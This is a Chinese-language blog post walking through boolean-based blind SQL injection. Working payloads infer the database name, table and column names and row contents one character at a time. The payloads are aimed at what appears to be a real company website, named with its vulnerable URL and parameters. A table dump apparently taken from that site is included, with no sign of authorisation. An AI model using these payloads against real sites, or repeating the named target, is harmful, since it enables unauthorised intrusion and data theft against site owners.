布尔类型SQL注入

Zss 发表于:

依旧拿之前的网站来测试

布尔注入:利用的是这句话的结果是真还是假,所以在中间加入查询结果返回是不行的,只能页面的真和假来判断我们需要的信息是不是真的

联合注入:用union查询结果在页面某个地方显示出来

布尔注入就是一个个字节来猜,判断,工作量是很大的

一.获取数据库字符的长度

' and 1=2 or Length(database())=7 -- ss
Length() 统计当前数据库名的长度 是不是等于7 若为真,那么页面正常,不为真那么不正常
这样子修改7的值就可以判断出数据库的总长度

二.获取数据库名称

' and 1=2 or ORD(mid(database(),1,1))>100 -- ss
and 1=2 让其为假 前段查询失效,
mid(database(),1,1)字符串截取,从第一个字符开始截取,截取一个
ORD() 字符转化成十进制数

两种方式来判断数据库名
1.使用mid()看第一个字符是不是=某个字符,但是由于字符太多,手工就非常麻烦,但是使用脚本来判断就很快了
http://www.calin.com.tw/ab.php?id=1&item_id=1' and 1=2 or mid(database(),1,1)='某个字符' -- ss
若相等那么返回页面正常,不相等则返回页面不正常

2.使用ORD()转换成十进制来猜解,这种方法手工更合适
http://www.calin.com.tw/ab.php?id=1&item_id=1' and 1=2 or ORD(mid(database(),1,1))>100 -- ss
这句话的意思为:数据库名的第一个字符的十进制数是不是大于100,
若不是则页面不返回信息,是那么返回信息

再上一步得到了总长度,那么我们就只需要判

三.获取表的总数

依旧是才通过页面返回正常不正常来判断是不是真
假设表为87张,那么(select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database())为查询到的表总数87张
是否大于80,那么页面返回正确,
' and 1=2 or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database())>80 -- ss
这样子修改80的值来猜出表的总数

四.获取表名的长度

' and 1=2 or (select Length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1)=17 -- ss
获取到第一张表的长度是不是等于17,依旧是这种方式来判断返回结果来确定字段数量
修改limit则控制第几张表,因为之前我们得知了表的总数所以知道limit最大为多少了

五.获取表的名字

' and 1=2 or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),1,1)='w' -- ss
' and 1=2 or ORD(mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),1,1))>20 -- ss
和获取库名的方式一致,修改limit猜解不同的表

六.获表的字段总数

' and 1=2 or (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='about_content_eng')>6 -- ss
查询某张表的字段总数,是不是大于6,依次修改6来推测出字段的总数

七.获取第一个字段的长度

' and 1=2 or (select Length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='about_content_eng' limit 0,1)>6 -- ss
控制limit来判断不同的字段长度,判断方法和上面的表,数据库均一致

八.获取字段的名称

' and 1=2 or mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='about_content_eng' limit 0,1),1,1)='w' -- ss
' and 1=2 or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='about_content_eng' limit 0,1),1,1))=100 -- ss
依旧是两种方式来判断

九.获取内容的长度

Database: dbcalin                                                                                                                                  
Table: products_image_eng
[7 entries]
+----+---------+---------+----------------+---------+----------+---------------------+
| id | item_id | title   | image          | tempSet | coverSet | createDate          |
+----+---------+---------+----------------+---------+----------+---------------------+
| 1  | 1       | <blank> | 1210298881.jpg | 0       | 1        | 2012-10-29 15:40:49 |
| 2  | 2       | <blank> | 1210295052.jpg | 0       | 1        | 2012-10-29 16:21:19 |
| 3  | 3       | <blank> | 1210297134.jpg | 0       | 1        | 2012-10-29 16:22:22 |
| 4  | 4       | <blank> | 1210291332.jpg | 0       | 1        | 2012-10-29 16:22:56 |
| 7  | 7       | <blank> | 1612226954.jpg | 0       | 1        | 2016-12-22 13:36:43 |
| 8  | 8       | <blank> | 1903256080.jpg | 0       | 1        | 2019-03-25 13:28:09 |
| 9  | 9       | <blank> | 1903258634.jpg | 0       | 1        | 2019-03-25 13:36:05 |
+----+---------+---------+----------------+---------+----------+---------------------+

表为:products_image_eng 字段为:id
' and 1=2 or (select Length(id) from products_image_eng limit 0,1)<3 -- ss
id内容长度是否小于3,返回正常页面,=1正常页面则判断出长度为1

十.获取字段内容

' and 1=2 or mid((select id from products_image_eng limit 0,1),1,1)=1 -- ss
products_image_eng表的第一条记录的id字段的第一个字符是不是1,是等于1返回正常页面,依次来推测
' and 1=2 or ORD(mid((select image from products_image_eng limit 1,1),2,1))=50 -- ss
products_image_eng表的第二条记录的id字段的第二个字符的十进制数是不是50,2字符的十进制数为50,所以返回正常,当为51时错误页面无返回信息页面

依次来拆解出所有的数据表和字段和内容,这个工作还是得写脚本来跑吧,这个工作量手工实在是太大了